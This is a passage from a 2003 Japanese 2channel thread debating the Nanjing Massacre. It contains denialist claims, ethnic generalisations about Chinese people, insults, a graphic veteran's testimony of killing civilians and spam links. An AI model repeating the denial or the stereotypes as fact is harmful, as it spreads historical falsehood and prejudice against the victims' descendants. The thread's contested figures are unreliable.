・・・やっぱり売国・・・

>肯定派の諸君は、当時の解決の仕方と中国の言い分で了解しているってことでOK?
解決の仕方は了解せざるを得ません。国家として公式に同意した事です。
中国の言い分については、学術問題として、犠牲者数の再検討を通じて、検証する事は
可能でしょう。
政治的にも、犠牲者数がエスカレートすると言うとっかっかりを中国が与えてくれてます
から、議題に出来るでしょう。(日本の「愛国者」と同じですよ。)
これが東京裁判での認定どおりのままの主張だったら、政治的には難しかしいですね。了解
せざるを得ません。政治的には。

84 :名無しかましてよかですか?:03/08/13 00:51 ID:lvLC4oqj
もう解決したからおかしい点はあっても思考停止しろってことですか。

肯定派のみなさんについて、本日明らかになった点

@昔の連合軍と教科書書いた偉い人がそういってたから思考停止中である

85 :肯定派C:03/08/13 01:01 ID:euuZwwvx
海の向こうのネオナチの皆さんも、思考停止せずがんばってるね。
人間たちどまっちゃだめなんだね。

86 :名無しかましてよかですか?:03/08/13 01:02 ID:Lcy5rpo6
http://endou.kir.jp/marimo/link.html
★最高でした!!(^0^)★最高でした!!

87 :名無しかましてよかですか?:03/08/13 09:31 ID:gfvdh26q
韓国併合は、事実としてあったことです。
これだけ意見の分かれる南京とはその点において南京とは根本的に違うのです。
変にごっちゃにしないで下さい。

政治的に了解済みだから歴史的検証は意味がないということ?
犠牲者数の再検討を通じて、検証する事は可能というならばそれでいいじゃ
ないですか。
それからでも行えば。
30万とか掲げられて大々的に建物とか建てられて。
その点でおかしいじゃん、すでに。
あなたも再検討の価値があるというなら同意してるからもういいと言ってる時点で
非国民です。

靖国参拝や教科書であちらからごちゃごちゃ言われるのは屈辱じゃないんですか?
「靖国は国のために戦った戦死者の鎮魂とこれからの平和の意味をこめて参拝して
います」と首相が言えない国ってなんですか。
非国民はそれすらもだまっていろと。
少数派と思われるものは黙っていろと。
ネオナチだってアルカイダだってそのような考えが生み出したものとも言えるのでは?
人間たちどまっちゃだめなんだね。って当たり前でしょう
あなたは立ち止まって下さい。


88 :名無しかましてよかですか?:03/08/13 09:55 ID:wO6r5aGI
>>87
南京事件も国際的には「有った」事になっているのです。意見が分かれて
いるのは日本ぐらいなものです。まずはその現実を認識してください。

>政治的に了解済みだから歴史的検証は意味がないということ?
>犠牲者数の再検討を通じて、検証する事は可能というならばそれでいいじゃ
>ないですか。
もちろん、学問的議論に反対するつもりは毛頭ないですよ。どうも学問的には
4万人前後であったとされつつあるようですが。
しかし、政治的思惑から「なかった」とわめくには、証拠不足です。証拠不足
で論破困難であるのに無闇に騒ぐのは、日本の立場を悪くします。まずは学問的
議論を重ね、学会等で周知させ、国際認識として、いわば外堀を埋めてからで
ないと、中国には通じません。現段階で下手に騒ぐのは4万人説の浸透まで妨害
します。

>靖国参拝や教科書であちらからごちゃごちゃ言われるのは屈辱じゃないんですか?
正直、向こうの言い分に言い返せないような真似をする国家要人の存在の方が屈辱です。
勝ち目の無い、あるいは最後まで勝つつもりのない喧嘩を気分で売って、国の立場を
悪くされるのはたまったもんじゃありません。

>「靖国は国のために戦った戦死者の鎮魂とこれからの平和の意味をこめて参拝して
います」と首相が言えない国ってなんですか。
それは武道館で公式にやってます。靖国でやるのは2度手間で、他の意図を勘ぐられても
しょうがありません。おまけに靖国は宗教法人ですので、政教分離の問題もあります。

89 :名無しかましてよかですか?:03/08/13 11:37 ID:gfvdh26q
南京事件も国際的には「有った」事とされたと考えているのです。
意見が分かれているのは日本ぐらいなのは上記のことと当事者なのだから
当然だと考えます。
ここでは、南京「大虐殺」についいてです。

4万人説の浸透がそんなにだいじなわけ?
あなた+何人かがそう思っているだけでしょう。
その節を押しつけないで下さい。
また、靖国が二度手間なんて筋違い。
なら、武道館をやめて靖国一本にすればいい。
否定派だって、日本を、日中関係を、日本の遺族をよりよい方向に
持っていこうとしてるんではないですか。
変に勘ぐられてもって、中国の方には話してもわからないってことですか?
それこそ日中関係を悪くする要因です。
国民を代表しているような言い方は迷惑です。


90 :名無しかましてよかですか?:03/08/13 11:47 ID:QCuxmcQf
サヨクはさっさと第一次資料だせ

91 :名無しかましてよかですか?:03/08/13 11:55 ID:dN/986Wj
これだけの大事件だ。これが、でっち上げ、捏造というのであれば、
でっち上げに荷担した人の証言、あるいはでっち上げを指示命令する証拠などが
一つくらい出てきても良さそうなのに、一切出てこない。

出てきたと言えそうなものにソキョハクの自伝というのがあるが、
あれですら捏造を指示したとは書いていない。しかもあれは
当時南京にいなかったことが明らかなティンパリーを南京にいたと
書いているなど、かなり眉唾物なのだ。
(そもそもティンパリーの著書にある資料は多くが一次資料が見つかっている
ので、捏造という点では問題にならない)

これだけ否定派が頑張っても捏造したという証拠は何一つ出てこないのだから、
南京大虐殺はあったという他あるまい。

92 :名無しかましてよかですか?:03/08/13 12:17 ID:gfvdh26q
>>91
つっこんでほしいのですか?
一応つっこみますが、殺人事件等で容疑者が殺人していない証拠を
出す必要がありますか?
証拠を用意しなければならないのはどちらですか?

マジレススマソ

93 :名無しかましてよかですか?:03/08/13 12:25 ID:S4P3XLVh
>92

 別に刑事裁判の話など、誰もしていないんだが?

94 :名無しかましてよかですか?:03/08/13 12:32 ID:dN/986Wj
>>92
あほ。でっち上げ・捏造事件の方だよw

95 :名無しかましてよかですか?:03/08/13 12:51 ID:wO6r5aGI
>>92
的外れな質問だけどあえて答えときましょ。
南京事件に関しては、やってない証拠を出さねばならないのは
否定派です。
南京事件は審理としては確定していて再審請求の段階ですから。

96 :名無しかましてよかですか?:03/08/13 13:13 ID:gfvdh26q
あほか。
んじゃ、君たちが第一審といっている当時の証拠をだしてくれ。
裁判が終わっているののなら証拠があるはずでしょ。
第一次資料をたのむよ。


97 :名無しかましてよかですか?:03/08/13 13:23 ID:S4P3XLVh
>96

 今誰かを処罰しようとしているんじゃないんだ,刑事裁判の証拠の話を持ち出すのは無意味だ。
 どうしてもしたいというのなら,織田信長を殺したのが,明智光秀であることを現在の刑事訴訟法に
則って証明してからにしてくれ。

98 :名無しかましてよかですか?:03/08/13 13:53 ID:wO6r5aGI
>>89
南京「大虐殺」と南京事件を分ける事に何か意味があるのですか?
南京「大虐殺」=30万以上、30万以上は間違いだから、南京大虐殺は
なかった、ゆえに南京事件もなかったとすり替えたがる否定派はこの
スレでも良く見かけますが・・・

>4万人説の浸透がそんなにだいじなわけ?
いや、4万人説が学問的にも今最も有力だと思ってましたんでね。ちなみに
あなたは何人説が最有力と思ってますか?

>また、靖国が二度手間なんて筋違い。
>なら、武道館をやめて靖国一本にすればいい。
あなたが靖国信者だとしても、国民全部はそうではありません。なぜに
一宗教団体の私的な宗教行為を、国家の公式行事にせねばならないのですか?
これ以上はスレ違いになりますので、靖国スレへ行きますか?


99 :名無しかましてよかですか?:03/08/14 00:45 ID:aN+8yaPu
ねぇ、キチガイ否定派F君
>>29>>30への肯定派の答えは?

100 :肯定派C:03/08/14 01:56 ID:4lxk+wtt
キチガイ否定派F君 「火星人は緑色だろ?」

肯定派「なにをこたえろちゅうねん?そもそも火星人はどっから
   でてきたんや?」

否定派「やっぱ緑色や!」勝利宣言


101 :名無しかましてよかですか?:03/08/14 02:47 ID:0QODffj5
2年前、名古屋で>>91に金を奪われ家族を殺されました。

はい、否定する証拠を出してください

102 :名無しかましてよかですか?:03/08/14 04:29 ID:7czdOUiC
>>92
>殺人事件等で容疑者が殺人していない証拠を出す必要がありますか?

出せば容疑者にとっては有利だよ。
その結果、事件の関与を否認する容疑者側は大抵やっていない証拠を探し、出そうとするな。
刑事裁判の原則からすれば出す必要はないけどね〜、そんな机上論で動いているわけじゃないぞ。
比喩だというならそれでも結構だから、もっと妥当性のある比喩を書いてくれ

103 :名無しかましてよかですか?:03/08/14 05:41 ID:V0bakNVt
肯定派は、とうとう、幻覚がみえるまでにボロボロに論破されました

 合掌!! 


          人

104 :名無しかましてよかですか?:03/08/14 09:27 ID:WZVm+tbe
>103
どこが論破やw ののしりあいで1〜103まで埋められてるやないかw

105 :名無しかましてよかですか?:03/08/14 09:32 ID:RflQsRQw
天の女王
http://www.ciasia.net/gideonsarmy/0608.html

106 :名無しかましてよかですか?:03/08/14 09:37 ID:2qT3mbJH
>>97
訳がわからん。
国際舞台で(戦勝国における)近代政治的に行われたものと歴史のワンシーンの違いもわからんのか?

>>98
南京事件には大きく分けて
1.南京事件は無かった
2.50人前後の南京小虐殺があった。
3.4万人前後の南京中虐殺があった。
4.30万人前後の南京大虐殺があった。
の4論が大筋であると思いますが、国際社会に置いては4.が通説となっているようですのでもし仮に
2.3.になったとしても意味は有るように考えますので分けました。
私は1.もしくはもし仮にあっても日本人の常識の範囲内である2.が最高ではないかと考えています。
2.の根拠については他の方が既出ですので省かせて頂きます。
否定的書庫を出せと他の方は言いますが、いままでいろいろ出ているとおもいますが。
何万人も南京で殺す意味がないし、南京事件があったと思われる時期の直後に日本兵と遊んでいる中国人
の子供が写っている映像とか、人口が増えているとか、当時は問題にもなっていなかったとか、東京裁判
でいきなり出てきたとか。
とりあえずこれらではだめなのですか?
ここからは個人的な意見ですのでつっこまないでほしいのですが、虐殺という文化は日本の文化では比叡
山焼き討ちぐらいではないかと。他の場所では大規模なものは起きていないし、日本人が一つの都市で何
万人も殺すというのが。逆に中国の文化では「通州事件」を出すまでもなく昔から虐殺の文化があります。
何となく日本的な行為とは思えないのです。

靖国については、「武道館で・・・」に対する逆説の意味で書いたのですが誤解を受ける書き方だったかも
しれません。
私は靖国信者では有りませんが「一宗教団体の私的な宗教行為」というには抵抗があります。ただ本来の姿
は靖国でと考えています。
靖国スレに行ってもいいですが、これもすでに多スレですしとりあえずやめておきましょう。

107 :名無しかましてよかですか?:03/08/14 15:56 ID:Ru2lTUDk
>>106
> 何万人も南京で殺す意味がないし、
その意味のないことをやったのだね。

> 南京事件があったと思われる時期の直後に日本兵と遊んでいる中国人
> の子供が写っている映像とか、
ヤラセではないかと思わせる史料もあるね。ヴォートリン日記とか。

> 人口が増えているとか、
 人口が増えたのではなく、認識していた人口数がある時期を境に
ちょっと上方修正されたのね。

> 当時は問題にもなっていなかったとか、東京裁判
> でいきなり出てきたとか。
 問題になってたが、日中戦争そのものが大問題だったからね。また、
いきなり出てきたのではなく、知ってる人は知ってたわけで、そのベイツやマギーら
の証言で明らかにされた内容があまりにも惨たらしく聞くに堪えないものだったので
衝撃を受けたんだね、当時。日本人の大多数は戦意高揚に浮かれて知る由もなかった。

> とりあえずこれらではだめなのですか?
てことで出直してキナチャイ。



108 :名無しかましてよかですか?:03/08/15 02:14 ID:S4F4xugw
>>107
この説明で納得できるやつが何人いるのだ?

109 :名無しかましてよかですか?:03/08/15 02:51 ID:Qiu+MeLc
>>107
> 人口が増えているとか、
 人口が増えたのではなく、認識していた人口数がある時期を境に
>ちょっと上方修正されたのね。

おまえ30万人も日本軍が殺したんならそのちょっと後に人口が増えると本気で思ってるのか?
ちょっと上方修正くらいで30万人以上増えるってどんな数え間違いを犯してたんだよ?



110 :名無しかましてよかですか?:03/08/15 08:45 ID:iTx5RYZ0
>>108
> >>107
> この説明で納得できるやつが何人いるのだ?

現時点で判明していることは、この説明を読んだ人の人数−お前。

111 :名無しかましてよかですか?:03/08/15 08:47 ID:iTx5RYZ0
>>109
> おまえ30万人も日本軍が殺したんならそのちょっと後に人口が増えると本気で思ってるのか?
> ちょっと上方修正くらいで30万人以上増えるってどんな数え間違いを犯してたんだよ?

人口論くらい知れ。南京事件論争の定番だw

・・・なんというか、夏だねぇw

112 :名無しかましてよかですか?:03/08/15 08:59 ID:mEqPyplg
>>109
南京での人口増の話は、虐殺前後で比較したものではなく、虐殺後の推定人口が、
虐殺が終わってから増えてると言うお話。虐殺が有った所に移ってくる者など
いるはずが無い、と言うのが否定派の言い分で、南京近郊でも日本軍の蛮行は
行われており、南京城内の安全区はまだマシと思われて逃げ込んで来た者がおり、
また、情勢が落ち着いてきたので、人口把握が進んだためと言うのが肯定派の
言い分。

113 :名無しかましてよかですか?:03/08/15 09:58 ID:a7gvzaBU
>>112

ちと補足

良民証の発行数からかなり正確なDATAがでてるんだけど

当時の人口はどうしても25万人前後(30万以上ではない)になるらしい。
ソースは当時、満鉄職員から南京に派遣された特務の人の証言だったかな。
証言といっても、場所日時記録がそろった1級資料です。
当時良民証=戸籍&配給証明の役割をしていたので先を争って南京の人々は
受け取りに来た。
なんらかの理由が無い限り良民証はもらうわけで。
その数字はかなり正確だと思うのだが。

それだとおかしいのが

総発行数=25万前後 だそうな。

虐殺が起きて、数万人殺された後に、また人口が増えてる場合

総発行数はもっと増えてるはずじゃない?

114 :山崎 渉:03/08/15 12:22 ID:GtPEQMtq
    (⌒V⌒)
   │ ^ ^ │<これからも僕を応援して下さいね(^^)。
  ⊂|    |つ
   (_)(_)                      山崎パン

115 :名無しかましてよかですか?:03/08/16 13:41 ID:+SviXbqj
age

116 :113:03/08/16 16:27 ID:t1Jtdugk
1日待っても返答なしか・・・・・・

じゃあ

南京大虐殺など全くなかったage

でよろしいねw

117 :名無しかましてよかですか?:03/08/16 17:25 ID:d0Ahrgkf
>>113
良民証の発行って日本政府が占領後に始めたものでしょ。虐殺がほぼ終わってからでは?

118 :名無しかましてよかですか?:03/08/16 17:57 ID:LPhwRUkb
猛烈な兵数で南京城に攻め込んだ日本軍は食料・水などがシナ人を捕虜にする程無かったため殺害するに至ったのよ。俺、南京戦友会に混ざって話し聞いてきた

119 :名無しかましてよかですか?:03/08/16 19:10 ID:JZ5UyQQy
法的理念から言えば、証拠がない以上無罪、無罪と無実は違う。
実際あったかもしれないけど、それがあったかどうかは定かではない(証拠がない)=無罪。
あった事を立証できなければ自動的に無罪。あった証拠がないのがなかった証拠になる。
殺人事件とかなら、動機はあっても証拠はないとかかな
もっとも日本軍の場合は、動機も証拠もないんだが

120 :名無しかましてよかですか?:03/08/16 19:52 ID:4yWS8Bdi


  また始めたんかい?

 

121 :名無しかましてよかですか?:03/08/17 02:15 ID:2C3qxzzY
>119
そのとおり、法的には決着ついてるんだよw(東京裁判受諾に付き)

122 :名無しかましてよかですか?:03/08/17 02:32 ID:y+jZMaVM
もし虐殺あったとしても漏れたちに何の責任があるわけ。
60年以上前に大日本帝国陸軍がやったことだろ。
俺達は日本国の国民だぜ。
文句があるなら大日本帝国陸軍に言えよ。
もうねえけどよ。




123 :名無しかましてよかですか?:03/08/17 04:07 ID:mcyFQA9A
>>122
無責任な発言はやめましょう。

124 :113:03/08/17 05:57 ID:Zl5yo0qw
>>117

ソースキボン

虐殺が無かったから早期に発行できたともいえる罠があるからな

ちなみに良民証の発行は昭和12年12月24日からですが

南京大虐殺とされる虚構の発生期間は

1937(昭和12)年12月13日の南京陥落の翌日から6週間の間に、
女・子供を含む南京市民や無抵抗な中国軍兵士の捕虜(国民
党、現台湾政府軍)を含む約30万人が殺害されたとされる事件。


125 :>>2ちゃんねらーの皆さん:03/08/17 06:31 ID:f0JBc4oZ
( ´Д`)/< 先生!!こんなのを見つけました。
http://www.hokekyoji.com/
http://www.yakuyoke.or.jp/
http://members.tripod.co.jp/hossyoji/index/
http://www.maap.com/tanjoh-ji/
http://www.honmonji.or.jp/
http://www.maap.com/tanjoh-ji/
http://www.kuonji.jp/
http://www.butsuzou.com/jiten/sanmen.html
http://www.butsuzou.com/list1/sanmen2.html
http://www.butsuzou.com/list1/sanmen3.html
http://www.butsuzou.com/keitai/sanmen-kz.html

126 :名無しかましてよかですか?:03/08/17 12:05 ID:hhynRqdq
>>119
根本的な間違いは、歴史の検証に刑事裁判の原則が使えると思ってる点ね。
例えば、山田支隊の例で「敵の生き残りを銃剣で刺して回った」と日記に書いてる
黒須上等兵を、現在「刑事裁判で有罪に」しようとすれば、それは証拠不十分だろう。
これは他の兵士の「犯行」についても同様。
だが、それだから南京大虐殺はなかった、というのは検討に値しない程の屁理屈。

ナゼかと言えば、その論法で言えば東京大空襲が存在しなくなってしまうから。
米軍の爆撃手トーマス(仮w)が落した何番目の爆弾で誰が殺されたのか、などと言う
ことは立証のしようもない。他の爆撃手の落した爆弾についても同様。だけど、それだから
東京大空襲がなかった等という話にはならないのと同様。
爆撃を目撃した人の証言もあるし、当時の公文書の記録もある。なので東京大空襲もあった、
と言うのであれば、それと同様の記録が南京大虐殺にもある。

127 :無料動画直リン:03/08/17 12:16 ID:WzVcFBYU
http://homepage.mac.com/miku24/

128 :名無しかましてよかですか?:03/08/17 12:18 ID:jRMlIni5
>>122
責任がどこに有るかという話はだれもしてない。
>もし虐殺あったとしても
もしじゃなくて、虐殺があったかどうかの話なの。わかる?

129 :あぼーん:あぼーん
あぼーん

130 :ソース:03/08/17 12:31 ID:2AOjkoB1
犠牲者354,780人以上

20万人は安全区内の人口で南京の総人口ではない。
大量虐殺が行われた現場写真とその数
この数は2,000人以上の大量虐殺の数だけで、強姦・殺人のような少数のグループや個人の殺害の数は含まれていない。

城北
草鞋峡処刑場 57,400
煤炭港処刑場 3,000
燕子磯処刑場 50,000

下関
太田寿男の供述書 150,000
江門処刑場 5,100
ドイツ大使館1938年3月4日の報告 30,000

城西
江東門処刑場 10,000
上新河処刑場 8,459
漢中門処刑場 2,000

城南
普徳寺墓地 9,721

城東
茆山、馬群、馬鞍、霊谷寺 5,600

紫金山方向
中島今朝吾の日記 23,500

合計 354,780になりま〜す。チン!

131 :ソース:03/08/17 12:38 ID:2AOjkoB1
下の図は1928年から1936年2月までの南京市の人口の推移を描いた表です。
1928年 476,526
1929年 524,969
1930年 577,093
1931年 653,948
1932年 657,617
1933年 726,131
1934年 747,416
1935年 879,079
1936年
 1月 1,017,934
 2月 1,018,892
 3月 1,017,643
 4月 1,012,440
 5月 1,006,435
 6月 973,158
 7月 978,574
 8月 976,744
 9月 973,082
 10月 979,594
 11月 993,813
 12月 1,006,968
1937年
 1月 1,015,697
 2月 1,016,115
 6月 1,015,450 
南京大虐殺事件
1939年
 4月 170,000

みごとにへっとりますな。


132 :ソース:03/08/17 12:51 ID:2AOjkoB1
南京戦に参加した東史郎さんの告白録1997年10月2日 於東京

私は明治45年4月生まれでありまして、私は昭和12年の8月26日に召集令状を受け取りまして、た
った5日間だけ我が家におって、9月1日には福知山の歩兵第20連隊に入隊いたしまして、それから昭
和14年11月に我が家へ帰るまでずっと戦争してまいりました。私の参加した戦争は河北省、当時私た
ちは北支那といっておりましたが、北支那の戦争です。南京攻略、それから徐州、火野葦平が「麦と兵隊
」で書いておりますその徐州戦、それから隴海(ろうかい)鉄道に沿って鄭州(けいしゅう)に攻めてい
きました。それから大別山脈という山脈戦を戦って漢口へ。漢口を攻略しまして、さらに奥地へ行きまし
た。漢水という川の流れておる襄陽。その襄東作戦に沿うてそれから、この襄東作戦で娘子軍(ろうしぐ
ん)の兵隊を捕まえまして、みんなあの麦畑の中へ連れていって突き殺した。それが私の中国との戦争で
初めての殺人行為であります。昭和19年3月再び召集令状を受け取って中国へ参りました。寧波(みん
ぽう)というところで敗戦になりました。我が独立部隊の兵器弾薬を上海へ運んでこれを中国軍に渡せという命令を受けて、兵器弾薬を積んで上海へ参りました。それが敗戦後の私の戦闘であります。
かくのごとくに私は戦争をしてまいりまいりました。戦場において私は非常に衝撃を受けて日記ををつ
けておりました。その日記がもとで東は旧軍隊の、天皇の軍隊の名誉を傷つけた。英霊を冒涜する者だと
いう事で今から6年前に戦争裁判にかけられて今日もなお法廷に立っているような次第であります。私が
戦場の真実を話したために戦友から戦友会を除名され、なおその上に福知山連隊の愛護会を作られて、私
は村八分にされて、なおそれでもこたえないから「裁判にかけろ」ということで裁判にかけられているような次第であります。


133 :ソース:03/08/17 12:55 ID:2AOjkoB1
本当にわれわれ日本人はひじょうに非人間的な行為をしてきたのですが、それが罪悪ともなんとも思わ
ずにやりました。私は戦場から得た教訓はすべては教育から始まるということでした。われわれが数々の
非人間的行為をして多くの中国人を殺害したのは、何がそうさせたのであろうか。我が家におる時は善良
な父であり、兄である。われわれも決してそのような非人間的な人間ではなかったのですが、ひとたび軍
国主義的軍服を着て戦場に立ったら、放火、略奪、強姦、あらゆる非人間行為を平気でやりました。こう
いうような教育をいったい誰がしたのか。私たちは子供の頃からね、「ちゃんちゃん坊主ちゃん坊主」日
清戦争で勝ってから支那人を軽蔑するように民族差別心を植え付けられておる。そして、かたや「狭い日
本に住み飽きた。海のかなたに支那がある。支那に四億の民がある。」ということをたたきこまれました。
その当時中国とは言いませんでした。「支那」といったんです。そういうことでわれわれは中国へ中国へ
と心が傾いていったんです。あの戦争は中国軍が日本へ攻めてきたのではないんです。われわれが中国へ
攻めていったんです。これが侵略であり、これが考えねばならない原点だと私は思っております。俺の屋
敷は狭いが、隣の屋敷は広い。だからといって暴力で隣の屋敷を奪ったとしたら誰がどう思うか。同じ事
だと思うんです。中国の大陸は広い。だからわれわれはそれを侵略していったんです。これが侵略なんです。

134 :ソース:03/08/17 12:56 ID:2AOjkoB1
私は昭和62年12月13日にね、南京へ高
校の先生らを連れて行きました。すべては教育から始まるんや、あんたがたもね、中国行って戦争の追体
験をしたらどうやということで私は連れていった。その時に南京大学の高興祖教授からね、「東さん、日
本軍の蛮行はね20世紀文明の恥ですよ」と言われて私は非常にショックを受けたことがあります。とこ
ろがわれわれはね、戦争の目的は勝利や。勝てば官軍や。勝つためには何をしてもいいんや。「やれ!」
と言うことでわれわれは蛮行を繰り返したのでありますが、そういう心の毒を注入したのはいったい誰で
あったのか。われわれはね、天皇に忠義を尽くせ。天皇のために死ね。おまえたちの命はね、一銭五厘の
はがき一枚でなんぼでも集められる。というような消耗品扱いであった。私は現役軍人ではない。招集さ
れて、天皇に召されて戦場に行ったんです。そしてね、われわれは中国人を「チャンコロ」と言いました。
「チャンコロ、犬コロ、石コロ蹴っ飛ばせい」、民族差別心。日本でもね、部落差別がある。こういう差
別心があるところ必ず非行が生まれるということを私は戦場で体験いたしました。だから、再び、三度同
じ過ちを繰り返さないために、過去の戦争の歴史というものは検討されねばならない。これを検討しない
からね、大阪にミドリ十字という会社がある。薬の会社です。このミドリ十字を作った人は誰や。731
部隊というて、人間を「まるた」と呼んで生体実験した軍医10人が作った会社がミドリ十字なんです。
戦争の目的は勝利だ。株式会社の目的は利益だ。利益のためにはエイズになろうと何しようとかまわない。
というような思想が生きてきたのがあのミドリ十字という非人間的製薬会社。こういうような過ちを犯す
から、どうしてもわれわれはあの戦争と言うものを反省しなければならないと私は思っております。

135 :ソース:03/08/17 12:58 ID:2AOjkoB1
私がね、昭和12年9月に渤海湾の大沽(たーぐー)というところへ上陸してそれから行軍して天津に
行きました。その天津の南開中学で地下室が死体で埋まっていた。抗日学生が日本軍に抵抗して追いまく
られて地下室へ逃げた。そこへ水道のホースを突っ込んで彼らがみな溺死しておりましたが、そこに三日
間泊まって私は子牙川と言う川に沿うて進撃していったんでありますが、北支というのはね、このぐらい
の石ころ一つない。一尺の高低もない、広漠たる大地です。私が戦争に行っておる時、確か昭和13年で
あったと思いますが、アメリカのパール・バックという女性が、これ牧師さんの娘ですが、「大地」とい
う小説を発表したことがあります。私は日本から本を送ってもらって読んだことがありますが、まさにあ
のパールバックの「大地」に書いてあるような広大な大地です。中国、北支那、河北省、そういう所で私
は次から次へ虐殺を重ねていったのですが、別けても私の心に残っておるのは百尺公鎮(ひゃくしゃくこ
うちん)という所がありました。この百尺公鎮という部落には敵がおったから抗日部落。抗日部落の住民
だからみな殺せという命令、その命令は師団長命令だと私は聞きました。

136 :ソース:03/08/17 12:59 ID:2AOjkoB1
どういう事かといいますと、百
尺公鎮という村へ行った時にたいていのものはみな逃げておったわけですが、老人と女と子供だけが残っ
ておりました。それを37名集めてきてそこで彼らを殺したんですが、みんな地面にしがみついて顔を上
げてるものはありませんでした。右のかいなに愛しい我が子、左のかいなに愛しい我が子。2人の子を抱
えている母親。また、孫であろう少年を抱きかかえておる老婦。16,7歳のクーニャン。みんな地面を
見つめておりました。そこを私の中隊の兵隊がみな取り巻いたんです。そして、一番最初に老婆を突いた。
老婆が悲鳴をあげた。突如としてみんなに恐怖がみなぎった。そういう光景があった。私が心を打たれた
のは、老人と少年が抱き合っていましたが、おそらくその少年はその老人の孫であったろうと思います。
その孫を私の戦友がぶすーと突いた。その時に私は衝撃を受けた。その孫から、10歳くらいの少年から
血が吹き出た。そしたら、そのおじいが少年にしがみついてその血を吸いだしたんです。私は側におって、
「ズーッ、ズーッ」という血を吸う音を聞いた。いかにも痛ましかった。顔じゅう血だらけ、夜叉のように
なって流れ出る血を吸うてるんです。さながらその少年の命をそのおじいの体内に生かすがごとくに血を
吸うておる。皆さんがその中の一人だと思って想像してみてください、どれほどつらいか。おそらくこの
おじいは愛しい、愛しい我が孫の血を吸う、これほど深刻な痛ましい思いはないであろうと、私は思って
見ておった。しかし、世の中には非情な人もおります。今度はその老人と少年を芋刺しに突いた兵隊がお
る。こうして老人と少年は芋刺しになって死んでいった。これで37名、全部殺した。私が家を出てから
ね、26日目ですよ。出征して26日目にそういう行為がなぜできたか。それが軍国主義というものであ
ろうか。私は日記にそのことを克明に書いております。この人たちはね、何にも我々と敵対しとるんじゃ
ないんです。無辜の住民です。罪のない。その住民を我々は家を出てからね、26日目に惨殺した。これ
がいわゆる虐殺だと私思うんです。この悲劇的な場面を私は日記に克明に書きました。いかにも戦争というものが無惨なものであるかと思いました。

137 :>>2ちゃんねらーの皆さん:03/08/17 13:05 ID:GETuryXm
  ∋8ノノハ.∩  http://www.yakuyoke.or.jp/
   川o・-・)ノ <先生!こんなのがありました!
http://www.hokekyoji.com/
http://members.tripod.co.jp/hossyoji/index/
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138 :名無しかましてよかですか?:03/08/17 13:07 ID:Js2/8F4E
>>130-136

受け狙い?

139 :ソース:03/08/17 13:09 ID:2AOjkoB1
>>138
わらえるか?

140 :名無しかましてよかですか?:03/08/17 13:16 ID:vMrKIdPj
>>139
本気で書いたかつー話だろ馬鹿。

141 :y:03/08/17 13:26 ID:RYB/kE3o
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142 :ソース:03/08/17 13:37 ID:2AOjkoB1
>>140
証拠が出ると毎度のごとく思考停止ですか?


143 :113:03/08/17 13:43 ID:Zl5yo0qw
おひおひ、
>>130-136

どこの
電波だ?

144 :東史郎:03/08/17 13:50 ID:Js2/8F4E
♪僕の名前を知ってるかい 捏造史郎というんだよ

145 :ソース:03/08/17 13:53 ID:2AOjkoB1
>>143
東史郎さんと南京市資料館ですが何か?あと、南京戦友会に問い合わせて御覧なさい。じいさんたちが教えてくれっからよ。

146 :名無しかましてよかですか?:03/08/17 14:22 ID:CR3bPH23
アーリントン墓地はキリスト教墓地ですがなにか?
宗教と墓地は切り離して考えられますか?
(それが出来るというのは中国共産党ぐらいだろう)

俺ははじめてこの板きたけどんですけど
肯定派は誹謗中傷や「常識」や「人間のクズ」などの汚い言葉を使う傾向がありますね。
一方否定派はきちんとデータを元にした客観的な意見を述べているように見えますね。
石原に国民の支持が行くところを見るとほとんどの日本人は左形式の謝罪が嫌いなんでしょうね。





147 :113:03/08/17 14:36 ID:Zl5yo0qw
>>145

いまどきそれを持ち出されてもため息しか出ません。

他スレでもいいので過去ログあたってきてください。

148 :名無しかましてよかですか?:03/08/17 15:28 ID:gBzIEelM
そうですね。左形式が非常に気に入りません。彼らの言ってる事は考えが古すぎてこの先の日本を変えようしないコトが実に笑えます。


149 :名無しかましてよかですか?:03/08/17 15:29 ID:5vxutWUA
>146
勇ましい言葉が人気出るのは世の東西を問いませんな。

 例 ヒトラー、ムッソリーニ、ルペン、スターリン、ハイダーその他もろもろ

150 :名無しかましてよかですか?:03/08/17 15:32 ID:gBzIEelM
確か共産の者の考えでは
一般人が殺人や事件を起こせば悪
共産主義者が殺人や事件を起こせば正義と主張してるくらいですから

151 :名無しかましてよかですか?:03/08/17 16:36 ID:hhynRqdq
>>146
>肯定派は誹謗中傷や「常識」や「人間のクズ」などの汚い言葉を使う傾向がありますね。
>一方否定派はきちんとデータを元にした客観的な意見を述べているように見えますね
俺はここ来るの初めてじゃないが、これはまるっきり逆だろw

>俺ははじめてこの板きたけどんですけど
思いっきりウソの低レベルな印象操作か、さもなければ過去ログいっぱい見てから物を
言いなよ(笑)

>>144
>♪僕の名前を知ってるかい 捏造史郎というんだよ
東裁判の争点ってなんだか知ってる?知らないで人の尻馬に乗ってるだけでしょw
あと、勝手に東史郎なんて名乗ると、下手したら名誉毀損でタイーホだからね。

152 :名無しかましてよかですか?:03/08/17 18:32 ID:xBN49Bxd
>>151 ←こいつは捏造便衣兵だろw

153 :113:03/08/17 18:54 ID:Zl5yo0qw
>>152

あまり嘲笑すると捏造肯定派が騒ぐので自粛しましょうw

そうでなくとも、肯定派に捏造犯が多いのは周知なのですから。

あくまで否定派(まぼろし派)はクールでいきましょう。

154 :名無しかましてよかですか?:03/08/17 20:05 ID:8NpOD3O3
国際的に決着がついてても、周知でもいいけどさ。
東京大空襲も原爆も写真とか残ってるでしょ。
何で南京だけ写真がないの?
南京には外国人も居たんでしょ?


155 :名無しかましてよかですか?:03/08/17 21:00 ID:Cbkx3TxX
>>154
 写真も山ほどあるが、プロ研はそのうちの何枚が南京と無関係と証明できたんだ?
 それに、南京事件後南京を支配したのはどこの軍だ?日本軍が都合の悪い記録を残すと思うか?

 外国人多数が南京事件を目撃して記録しているだろうが?東京裁判の証言を知らないのか?ラーベの日記とヒトラー宛の書簡は?
 事件後の新聞報道もあったぞ。



156 :名無しかましてよかですか?:03/08/17 21:07 ID:hhynRqdq
>>152
>>151 ←こいつは捏造便衣兵だろ
と言うように、都合が悪いレスは相手を○○認定してスルーする否定派、とw

>>153
ジサクジエンなら忙しいことでw
>肯定派に捏造犯が多いのは周知なのですから
印象操作としてそういうことを言う否定派が多いのが「周知」なんだよね。
ゴマカシしか言えない?それとも
肯定派に捏造犯が多い、って、証明できる?w

157 :名無しかましてよかですか?:03/08/17 22:02 ID:Tyqzph7N
便が必死だなw

158 :名無しかましてよかですか?:03/08/17 22:03 ID:OAALPIRp
>>155
